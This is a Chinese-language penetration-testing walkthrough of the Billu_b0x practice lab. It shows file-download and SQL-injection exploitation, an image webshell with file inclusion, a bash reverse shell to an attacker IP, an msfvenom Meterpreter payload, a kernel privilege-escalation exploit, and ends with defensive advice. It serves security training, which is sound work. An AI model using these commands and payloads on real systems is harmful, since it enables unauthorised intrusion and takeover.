渗透靶场之Billu_b0x
字数 1269 2025-08-12 11:34:24

Billu_b0x 渗透靶场实战教学文档

1. 环境准备

  1. 下载靶场OVA文件并使用VMware打开
  2. 确保攻击机(Kali Linux)与靶机在同一网络环境

2. 信息收集阶段

2.1 主机发现

使用Metasploit的ARP扫描模块探测存活主机:

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.91.0/24
set THREADS 30
run

发现靶机IP:192.168.91.149

2.2 端口扫描

使用Nmap进行TCP SYN扫描:

nmap -sS -Pn -p- 192.168.91.149

发现开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

2.3 Web服务探测

  1. 使用dirsearch扫描Web目录:
python dirsearch.py -u http://192.168.91.149/
  1. 发现的有用路径:
  • /add.php
  • /c.php
  • /head.php
  • /index.php
  • /phpmy/ (phpMyAdmin)
  • /in (phpinfo)
  • /test.php

3. 漏洞利用

3.1 任意文件下载漏洞

在test.php发现文件下载功能:

http://192.168.91.149/test.php?file=index.php

使用POST方法成功利用:

POST参数:file=etc/passwd

获取到的关键信息:

  • 可登录用户:root和ica

3.2 数据库凭证泄露

通过下载c.php文件发现MySQL凭证:

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

3.3 phpMyAdmin登录

使用发现的凭证登录phpMyAdmin:

  • 用户名:billu
  • 密码:b0x_billu

尝试写shell失败(secure_file_priv限制)

3.4 Web应用登录绕过

分析index.php中的SQL查询:

$uname=str_replace(urldecode($_POST['un']));
$pass=str_replace(urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';

绕过方法(SQL注入):

un与ps的参数都改为:or 1=1#\

3.5 文件上传+文件包含漏洞

  1. 文件上传路径:uploaded_images/
  2. 文件包含漏洞(panel.php):
include($dir.'/'.$_POST['load']);

利用步骤:

  1. 上传图片马(包含PHP代码的图片)
  2. 通过文件包含执行图片中的代码

3.6 获取反向Shell

  1. 在Kali上监听:
nc -nlvp 6666
  1. 执行反弹Shell命令(URL编码):
bash -i >& /dev/tcp/192.168.91.139/6666 0>&1
  1. 升级为交互式Shell:
python -c 'import pty; pty.spawn("/bin/bash")'

4. 权限提升

4.1 使用Metasploit提权

  1. 生成Linux Meterpreter payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.139 LPORT=4444 -f elf > shell.elf
  1. 设置监听:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.91.139
set LPORT 4444
run
  1. 尝试自动提权:
run post/multi/recon/local_exploit_suggester

4.2 内核漏洞提权

  1. 查看系统信息:
uname -a
cat /etc/issue
  1. 发现内核版本:Linux 3.19.0-18-generic

  2. 利用OverlayFS漏洞(CVE-2015-1328):

  • 下载exp代码:https://www.exploit-db.com/exploits/37292
  • 编译执行:
gcc ofs.c -o ofs
./ofs

4.3 备用提权方法

通过phpMyAdmin配置文件获取root密码:

  1. 下载配置文件:
file=/var/www/phpmy/config.inc.php
  1. 发现root密码:roottoor

  2. 直接SSH登录:

ssh root@192.168.91.149

5. 总结与关键点

  1. 信息收集要全面:包括端口扫描、目录扫描、文件下载等
  2. 凭证复用:Web应用密码可能用于数据库,数据库密码可能用于系统
  3. 组合漏洞利用:文件上传+文件包含是常见组合
  4. 提权路径
    • 首先检查SUID文件
    • 然后尝试内核漏洞
    • 最后检查配置文件泄露
  5. 交互式Shell重要性:非交互式Shell限制多,应尽快升级

6. 防御建议

  1. 限制文件下载功能
  2. 使用预处理语句防止SQL注入
  3. 文件上传应重命名并检查内容
  4. 禁用危险PHP函数
  5. 及时更新系统和应用补丁
  6. 使用最小权限原则配置服务账户
Billu_ b0x 渗透靶场实战教学文档 1. 环境准备 下载靶场OVA文件并使用VMware打开 确保攻击机(Kali Linux)与靶机在同一网络环境 2. 信息收集阶段 2.1 主机发现 使用Metasploit的ARP扫描模块探测存活主机: 发现靶机IP:192.168.91.149 2.2 端口扫描 使用Nmap进行TCP SYN扫描: 发现开放端口: 22/tcp (SSH) 80/tcp (HTTP) 2.3 Web服务探测 使用dirsearch扫描Web目录: 发现的有用路径: /add.php /c.php /head.php /index.php /phpmy/ (phpMyAdmin) /in (phpinfo) /test.php 3. 漏洞利用 3.1 任意文件下载漏洞 在test.php发现文件下载功能: 使用POST方法成功利用: 获取到的关键信息: 可登录用户:root和ica 3.2 数据库凭证泄露 通过下载c.php文件发现MySQL凭证: 3.3 phpMyAdmin登录 使用发现的凭证登录phpMyAdmin: 用户名:billu 密码:b0x_ billu 尝试写shell失败(secure_ file_ priv限制) 3.4 Web应用登录绕过 分析index.php中的SQL查询: 绕过方法(SQL注入): 3.5 文件上传+文件包含漏洞 文件上传路径:uploaded_ images/ 文件包含漏洞(panel.php): 利用步骤: 上传图片马(包含PHP代码的图片) 通过文件包含执行图片中的代码 3.6 获取反向Shell 在Kali上监听: 执行反弹Shell命令(URL编码): 升级为交互式Shell: 4. 权限提升 4.1 使用Metasploit提权 生成Linux Meterpreter payload: 设置监听: 尝试自动提权: 4.2 内核漏洞提权 查看系统信息: 发现内核版本:Linux 3.19.0-18-generic 利用OverlayFS漏洞(CVE-2015-1328): 下载exp代码:https://www.exploit-db.com/exploits/37292 编译执行: 4.3 备用提权方法 通过phpMyAdmin配置文件获取root密码: 下载配置文件: 发现root密码:roottoor 直接SSH登录: 5. 总结与关键点 信息收集要全面 :包括端口扫描、目录扫描、文件下载等 凭证复用 :Web应用密码可能用于数据库,数据库密码可能用于系统 组合漏洞利用 :文件上传+文件包含是常见组合 提权路径 : 首先检查SUID文件 然后尝试内核漏洞 最后检查配置文件泄露 交互式Shell重要性 :非交互式Shell限制多,应尽快升级 6. 防御建议 限制文件下载功能 使用预处理语句防止SQL注入 文件上传应重命名并检查内容 禁用危险PHP函数 及时更新系统和应用补丁 使用最小权限原则配置服务账户